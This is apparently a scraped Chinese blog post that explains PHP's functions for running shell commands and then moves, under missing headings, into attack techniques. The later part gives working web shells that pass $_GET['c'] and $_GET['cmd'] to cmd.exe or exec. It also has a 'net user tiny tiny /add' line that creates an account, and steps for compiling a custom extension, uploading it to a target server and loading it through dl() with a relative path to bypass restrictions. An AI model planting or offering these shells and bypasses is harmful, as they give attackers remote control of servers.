不少狀況下須要php調用其餘程序如shell命令、shell腳本、可執行程序等等,此時須要使用到諸如exec/system/popen/proc_open等函數,每種函數有各自適合使用的場景以及須要注意的地方。
前提:PHP沒有運行在安全模式
若是PHP運行在安全模式下,那麼在執行外部命令、打開文件、鏈接數據庫、基於HTTP的認證這4個方面將會受到制約,可能在調用外部程序時沒法獲取預期的結果,此時須要設置特定目錄,能夠在php.ini中編輯safe_mode_exec_dir參數來指定。
1. exec
原型:string exec ( string command [, array &output [, int &return_var]] )
描述:返回值保存最後的輸出結果,而全部輸出結果將會保存到$output數組,$return_var用來保存命令執行的狀態碼(用來檢測成功或失敗)。
例子:$ret = exec("ls -al", $output, $var);
注意:
A. 輸出結果會逐行追加到$output中,所以在調用exec以前須要unset($output),特別是循環調用的時候。
B. 若是想經過exec調用外部程序後立刻繼續執行後續代碼,僅僅在命令里加"&"是不夠的,此時exec依然會等待命令執行完畢;須要再將標準輸出作重定向才能夠,例如:exec("ls -al >/dev/null &", $output, $var);
C. 要學會善用EscapeShellCmd()和EscapeShellArg()。函數EscapeShellCmd把一個字符串 中全部可能瞞過Shell而去執行另一個命令的字符轉義。這些字符在Shell中是有特殊含義的,象分號(|),重定向(>)和從文件讀入 (<)等。函數EscapeShellArg是用來處理命令的參數的。它在給定的字符串兩邊加上單引號,並把字符串中的單引號轉義,這樣這個字符串 就能夠安全地做爲命令的參數。
2. system
原型:string system ( string command [, int &return_var] )
描述:執行給定的命令,返回最後的輸出結果;第二個參數是可選的,用來獲得命令執行後的狀態碼。
例子:$ret = system("ls -al", $var);
注意:略。
3. passthru
原型:void passthru (string command [, int return_var])
描述:執行給定的命令,但不返回任何輸出結果,而是直接輸出到顯示設備上;第二個參數可選,用來獲得命令執行後的狀態碼。
例子:passthru("ls -al", $var);
注意:略。
4. popen
原型:resource popen ( string command, string mode )
描述:打開一個指向進程的管道,該進程由派生給定的 command 命令執行而產生。 返回一個和 fopen() 所返回的相同的文件指針,只不過它是單向的(只能用於讀或寫)而且必須用 pclose() 來關閉。此指針能夠用於 fgets(),fgetss() 和 fwrite()。
例子:$fd = popen("command", 'r'); $ret = fgets($fd);
注意:只能打開單向管道,不是'r'就是'w';而且須要使用pclose()來關閉。
5. proc_open
原型:resource proc_open ( string cmd, array descriptorspec, array &pipes [, string cwd [, array env [, array other_options]]] )
描述:與popen相似,可是能夠提供雙向管道。具體的參數讀者能夠本身翻閱資料,好比該博客:
http://hi.baidu.com/alex_wang58/blog/item/a28657de16fec55195ee372a.html。
注意:
A. 後面須要使用proc_close()關閉資源,而且若是是pipe類型,須要用pclose()關閉句柄。
B. proc_open打開的程序做爲php的子進程,php退出後該子進程也會退出。
C.
筆者在使用的時候遇到獲取外部程序輸出阻塞的問題,也就是在例子中的fgets($pipes[1])語句阻塞了,沒法繼續進行。通過多方查證後發現,問題通常出在外部程序中,好比外部程序是C程序,使用fprintf(stdin, "**** \n");輸出結果,此時須要加上fflush(stdout);才行,不然輸出結果可能會暫留緩存中,沒法真正輸出,而php也就沒法獲取輸出了。
例子:
///< 打開管道
$pwd = "*****";
$pipes = array();
$command = "*****";
$desc = array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'w'));
$handle = proc_open($command, $desc, $pipes, $pwd);
if (!is_resource($handle)) {
fprintf(STDERR, "proc_open failed.\n");
exit(1);
}
///< 讀寫
fwrite($pipes[0], "*****\n");
$ret = rtrim(fgets($pipes[1]), "\n");
///< 關閉管道
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($handle);
![](http://static.javashuo.com/static/loading.gif)
原型:
Wscript.Shell->exec(command) //
Shell.Application->ShellExecute(appName,appArgs,appPath) //
Shell.Application->open(appPath) //要填寫程序絕對路徑,而且應該沒有辦法加參數
Shell.Application->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverb()
Shell.Application->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverbEx()
描述:在windwos下,而且在php中開啓com組建擴展以後可使用這種方法(打開方式自行百度)
完全的解決方案是 直接刪除System32目錄下wshom.ocx文件
例子:
- <?php
- $phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
- $exec=$phpwsh->exec("cmd.exe /c ".$_GET['c']."");
- $stdout = $exec->StdOut();
- $stroutput = $stdout->ReadAll();
- echo $stroutput;
- ?>
-
- <?php
- $phpwsh=new COM("Shell.Application") or die("Create Wscript.Shell Failed!");
- $exec=$phpwsh->ShellExecute("net"," user tiny tiny /add");
- ?>
-
- <?php
- $phpwsh=new COM("Shell.Application") or die("Create Wscript.Shell Failed!");
- $exec=$phpwsh->open("c:\\windows\\system32\\cmd.exe");
- ?>
-
- <?php
- $a=new COM("Shell.Application");
- $a->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverb();
- ?>
-
- <?php
- $a=new COM("Shell.Application");
- $a->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverbEx();
- ?>
要求:php沒有開啓安全模式,而且enable_dl選項爲on,而且php版本支持dl函數 (在 PHP 5.3 裏,此函數被某些 SAPI 移除了,也就是沒有這個函數?) 說明:extension_dir選項能夠指定擴展模塊的目錄,可是咱們可使用相對路徑的方式繞過 原理:本身編寫擴展,而後使用dl加載此擴展。 舉例(linux): 準備工做: 自行上網下載apache和相近版本的php源碼,按照apache和php的官方文檔進行安裝。 咱們主要須要三個文件:phpize,php-config和ext_skel:在正確安裝好了apache和php以後, phpize和php-config將被安裝(能夠自行find),而ext_skel則是是在php源碼中的ext目錄中。 ext_skel是php源碼包中的用來幫助製做擴展的程序。 1)轉到php-x.x.xx/ext中首先新建xxx.skel文件,裏面填寫要製做的擴展中的函數原型,例如: string exec(string str) 2)執行命令:./ext_skel --extname=tinymin --proto=xxx.skel 以後便生成了tinymin目錄, 裏面則是擴展所須要的文件 3)cd tinymin 4)vi config.m4 將 config.m4文件裏面 dnl PHP_ARG_WITH(myext, for myext support, dnl Make sure that the comment is aligned: dnl [ --with-myext Include myext support]) 修改爲 PHP_ARG_WITH(myext, for myext support, [ --with-myext Include myext support]) 5)vi tinymin.c 將PHP_FUNCTION(exec)後面的大括號裏面的代碼的最後一行刪除,並寫上本身的代碼,修改後如:PHP_FUNCTION(haha) { char *str = NULL; int argc = ZEND_NUM_ARGS(); int str_len; if (zend_parse_parameters(argc TSRMLS_CC, "s", &str, &str_len) == FAILURE) return; return system(str); } 6)找到phpize:find / -name "phpize" 而後運行一下phpize: /my_lamp/php/bin/phpize 7) 一樣方式找到php-config,而後運行configure: ./configure --with-php-config=/my_lamp/php/bin/php-config 8)make&&make install 以後便在本身的php擴展目錄中生成了擴展tinymin.so 在目標服務器上面上傳tinymin.so(不必定要在它的php擴展目錄中,由於可使用相對路徑) 用法例如: <?php dl("../../../../../tmp/tinymin.so"); echo exec($_GET['cmd']); ?> 這種方法也很老了,我在本身的的kali2上面嘗試這樣作的時候提示沒有dl這個函數,具體緣由參見php manual windows上應該也是同樣的原理。不過沒有試過